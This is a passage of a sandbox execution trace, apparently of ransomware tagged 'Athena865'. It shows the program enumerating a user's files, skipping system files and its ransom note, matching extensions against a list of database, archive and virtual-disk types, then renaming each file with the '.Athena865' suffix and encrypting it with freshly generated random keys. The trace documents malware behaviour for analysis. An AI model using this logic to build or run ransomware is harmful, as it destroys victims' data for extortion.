lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="perflogs") returned -1 [0049.812] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2="MSBuild") returned -1 [0049.812] lstrlenW (lpString="jiY-PfMP0EW.png") returned 15 [0049.812] lstrcpyW (in: lpString1=0x241e8c8, lpString2="jiY-PfMP0EW.png" | out: lpString1="jiY-PfMP0EW.png") returned="jiY-PfMP0EW.png" [0049.812] lstrlenW (lpString="jiY-PfMP0EW.png") returned 15 [0049.812] lstrlenW (lpString="Athena865") returned 9 [0049.813] lstrcmpiW (lpString1="MP0EW.png", lpString2="Athena865") returned 1 [0049.813] lstrlenW (lpString=".dll") returned 4 [0049.813] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2=".dll") returned 1 [0049.813] lstrlenW (lpString=".lnk") returned 4 [0049.813] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2=".lnk") returned 1 [0049.813] lstrlenW (lpString=".ini") returned 4 [0049.813] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2=".ini") returned 1 [0049.813] lstrlenW (lpString=".sys") returned 4 [0049.813] lstrcmpiW (lpString1="jiY-PfMP0EW.png", lpString2=".sys") returned 1 [0049.813] lstrlenW (lpString="jiY-PfMP0EW.png") returned 15 [0049.813] lstrlenW (lpString="bak") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0049.813] lstrlenW (lpString="ba_") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0049.813] lstrlenW (lpString="dbb") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0049.813] lstrlenW (lpString="vmdk") returned 4 [0049.813] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0049.813] lstrlenW (lpString="rar") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0049.813] lstrlenW (lpString="zip") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0049.813] lstrlenW (lpString="tgz") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0049.813] lstrlenW (lpString="vbox") returned 4 [0049.813] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0049.813] lstrlenW (lpString="vdi") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0049.813] lstrlenW (lpString="vhd") returned 3 [0049.813] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0049.813] lstrlenW (lpString="vhdx") returned 4 [0049.813] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0049.813] lstrlenW (lpString="avhd") returned 4 [0049.813] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0049.814] lstrlenW (lpString="db") returned 2 [0049.814] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0049.814] lstrlenW (lpString="db2") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0049.814] lstrlenW (lpString="db3") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0049.814] lstrlenW (lpString="dbf") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0049.814] lstrlenW (lpString="mdf") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0049.814] lstrlenW (lpString="mdb") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0049.814] lstrlenW (lpString="sql") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0049.814] lstrlenW (lpString="sqlite") returned 6 [0049.814] lstrcmpiW (lpString1="EW.png", lpString2="sqlite") returned -1 [0049.814] lstrlenW (lpString="sqlite3") returned 7 [0049.814] lstrcmpiW (lpString1="0EW.png", lpString2="sqlite3") returned -1 [0049.814] lstrlenW (lpString="sqlitedb") returned 8 [0049.814] lstrcmpiW (lpString1="P0EW.png", lpString2="sqlitedb") returned -1 [0049.814] lstrlenW (lpString="xml") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0049.814] lstrlenW (lpString="$er") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0049.814] lstrlenW (lpString="4dd") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0049.814] lstrlenW (lpString="4dl") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0049.814] lstrlenW (lpString="^^^") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0049.814] lstrlenW (lpString="abs") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0049.814] lstrlenW (lpString="abx") returned 3 [0049.814] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0049.815] lstrlenW (lpString="accdb") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accdb") returned 1 [0049.815] lstrlenW (lpString="accdc") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accdc") returned 1 [0049.815] lstrlenW (lpString="accde") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accde") returned 1 [0049.815] lstrlenW (lpString="accdr") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accdr") returned 1 [0049.815] lstrlenW (lpString="accdt") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accdt") returned 1 [0049.815] lstrlenW (lpString="accdw") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accdw") returned 1 [0049.815] lstrlenW (lpString="accft") returned 5 [0049.815] lstrcmpiW (lpString1="W.png", lpString2="accft") returned 1 [0049.815] lstrlenW (lpString="adb") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0049.815] lstrlenW (lpString="adb") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0049.815] lstrlenW (lpString="ade") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0049.815] lstrlenW (lpString="adf") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0049.815] lstrlenW (lpString="adn") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0049.815] lstrlenW (lpString="adp") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0049.815] lstrlenW (lpString="alf") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0049.815] lstrlenW (lpString="ask") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0049.815] lstrlenW (lpString="btr") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0049.815] lstrlenW (lpString="cat") returned 3 [0049.815] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0049.815] lstrlenW (lpString="cdb") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0049.816] lstrlenW (lpString="ckp") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0049.816] lstrlenW (lpString="cma") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0049.816] lstrlenW (lpString="cpd") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0049.816] lstrlenW (lpString="dacpac") returned 6 [0049.816] lstrcmpiW (lpString1="EW.png", lpString2="dacpac") returned 1 [0049.816] lstrlenW (lpString="dad") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0049.816] lstrlenW (lpString="dadiagrams") returned 10 [0049.816] lstrcmpiW (lpString1="fMP0EW.png", lpString2="dadiagrams") returned 1 [0049.816] lstrlenW (lpString="daschema") returned 8 [0049.816] lstrcmpiW (lpString1="P0EW.png", lpString2="daschema") returned 1 [0049.816] lstrlenW (lpString="db-journal") returned 10 [0049.816] lstrcmpiW (lpString1="fMP0EW.png", lpString2="db-journal") returned 1 [0049.816] lstrlenW (lpString="db-shm") returned 6 [0049.816] lstrcmpiW (lpString1="EW.png", lpString2="db-shm") returned 1 [0049.816] lstrlenW (lpString="db-wal") returned 6 [0049.816] lstrcmpiW (lpString1="EW.png", lpString2="db-wal") returned 1 [0049.816] lstrlenW (lpString="dbc") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0049.816] lstrlenW (lpString="dbs") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0049.816] lstrlenW (lpString="dbt") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0049.816] lstrlenW (lpString="dbv") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0049.816] lstrlenW (lpString="dbx") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0049.816] lstrlenW (lpString="dcb") returned 3 [0049.816] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0049.817] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\jiY-PfMP0EW.png.Athena865") returned 89 [0049.817] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\jiY-PfMP0EW.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\jiy-pfmp0ew.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\jiY-PfMP0EW.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\jiy-pfmp0ew.png.athena865"), dwFlags=0x1) returned 1 [0049.825] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\jiY-PfMP0EW.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\jiy-pfmp0ew.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.825] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5558) returned 1 [0049.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.825] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.826] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.826] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.826] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c0, lpName=0x0) returned 0x17c [0049.826] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c0) returned 0x100000 [0049.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.827] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.827] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.828] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.828] CloseHandle (hObject=0x17c) returned 1 [0049.829] CloseHandle (hObject=0x154) returned 1 [0049.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.830] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9a147b50, ftCreationTime.dwHighDateTime=0x1d4cd23, ftLastAccessTime.dwLowDateTime=0x7eb123a0, ftLastAccessTime.dwHighDateTime=0x1d4cc82, ftLastWriteTime.dwLowDateTime=0x7eb123a0, ftLastWriteTime.dwHighDateTime=0x1d4cc82, nFileSizeHigh=0x0, nFileSizeLow=0x16fd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KzPa.png", cAlternateFileName="")) returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2=".") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="..") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="windows") returned -1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="bootmgr") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="temp") returned -1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="pagefile.sys") returned -1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="boot") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="ids.txt") returned 1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="ntuser.dat") returned -1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="perflogs") returned -1 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2="MSBuild") returned -1 [0049.830] lstrlenW (lpString="KzPa.png") returned 8 [0049.830] lstrcpyW (in: lpString1=0x241e8c8, lpString2="KzPa.png" | out: lpString1="KzPa.png") returned="KzPa.png" [0049.830] lstrlenW (lpString="KzPa.png") returned 8 [0049.830] lstrlenW (lpString="Athena865") returned 9 [0049.830] lstrlenW (lpString=".dll") returned 4 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString=".lnk") returned 4 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2=".lnk") returned 1 [0049.830] lstrlenW (lpString=".ini") returned 4 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2=".ini") returned 1 [0049.830] lstrlenW (lpString=".sys") returned 4 [0049.830] lstrcmpiW (lpString1="KzPa.png", lpString2=".sys") returned 1 [0049.831] lstrlenW (lpString="KzPa.png") returned 8 [0049.831] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\KzPa.png.Athena865") returned 82 [0049.831] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\KzPa.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\kzpa.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\KzPa.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\kzpa.png.athena865"), dwFlags=0x1) returned 1 [0049.831] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\KzPa.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\kzpa.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.831] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94168) returned 1 [0049.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.832] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.832] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.833] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.833] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x172e0, lpName=0x0) returned 0x17c [0049.833] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x172e0) returned 0x100000 [0049.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.837] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.837] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.837] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.838] CloseHandle (hObject=0x17c) returned 1 [0049.838] CloseHandle (hObject=0x154) returned 1 [0049.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.845] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcc05d80, ftCreationTime.dwHighDateTime=0x1d4c893, ftLastAccessTime.dwLowDateTime=0x7710b2c0, ftLastAccessTime.dwHighDateTime=0x1d4cfaa, ftLastWriteTime.dwLowDateTime=0x7710b2c0, ftLastWriteTime.dwHighDateTime=0x1d4cfaa, nFileSizeHigh=0x0, nFileSizeLow=0xb475, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lDYBYkmL3UqGN.png", cAlternateFileName="LDYBYK~1.PNG")) returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2=".") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="..") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="windows") returned -1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="bootmgr") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="temp") returned -1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="pagefile.sys") returned -1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="boot") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="ids.txt") returned 1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="ntuser.dat") returned -1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="perflogs") returned -1 [0049.845] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2="MSBuild") returned -1 [0049.845] lstrlenW (lpString="lDYBYkmL3UqGN.png") returned 17 [0049.845] lstrcpyW (in: lpString1=0x241e8c8, lpString2="lDYBYkmL3UqGN.png" | out: lpString1="lDYBYkmL3UqGN.png") returned="lDYBYkmL3UqGN.png" [0049.845] lstrlenW (lpString="lDYBYkmL3UqGN.png") returned 17 [0049.845] lstrlenW (lpString="Athena865") returned 9 [0049.845] lstrcmpiW (lpString1="3UqGN.png", lpString2="Athena865") returned -1 [0049.846] lstrlenW (lpString=".dll") returned 4 [0049.846] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2=".dll") returned 1 [0049.846] lstrlenW (lpString=".lnk") returned 4 [0049.846] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2=".lnk") returned 1 [0049.846] lstrlenW (lpString=".ini") returned 4 [0049.846] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2=".ini") returned 1 [0049.846] lstrlenW (lpString=".sys") returned 4 [0049.846] lstrcmpiW (lpString1="lDYBYkmL3UqGN.png", lpString2=".sys") returned 1 [0049.846] lstrlenW (lpString="lDYBYkmL3UqGN.png") returned 17 [0049.846] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lDYBYkmL3UqGN.png.Athena865") returned 91 [0049.846] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lDYBYkmL3UqGN.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\ldybykml3uqgn.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lDYBYkmL3UqGN.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\ldybykml3uqgn.png.athena865"), dwFlags=0x1) returned 1 [0049.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\lDYBYkmL3UqGN.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\ldybykml3uqgn.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.847] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46197) returned 1 [0049.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.848] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.848] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.848] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.849] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb780, lpName=0x0) returned 0x17c [0049.849] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb780) returned 0x100000 [0049.850] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.851] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.851] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.852] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.852] CloseHandle (hObject=0x17c) returned 1 [0049.852] CloseHandle (hObject=0x154) returned 1 [0049.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.853] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x99025270, ftCreationTime.dwHighDateTime=0x1d4d11d, ftLastAccessTime.dwLowDateTime=0x5d7e98e0, ftLastAccessTime.dwHighDateTime=0x1d4c717, ftLastWriteTime.dwLowDateTime=0x5d7e98e0, ftLastWriteTime.dwHighDateTime=0x1d4c717, nFileSizeHigh=0x0, nFileSizeLow=0xf152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lM0oG.mp3", cAlternateFileName="")) returned 1 [0049.853] lstrcmpiW (lpString1="lM0oG.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.854] 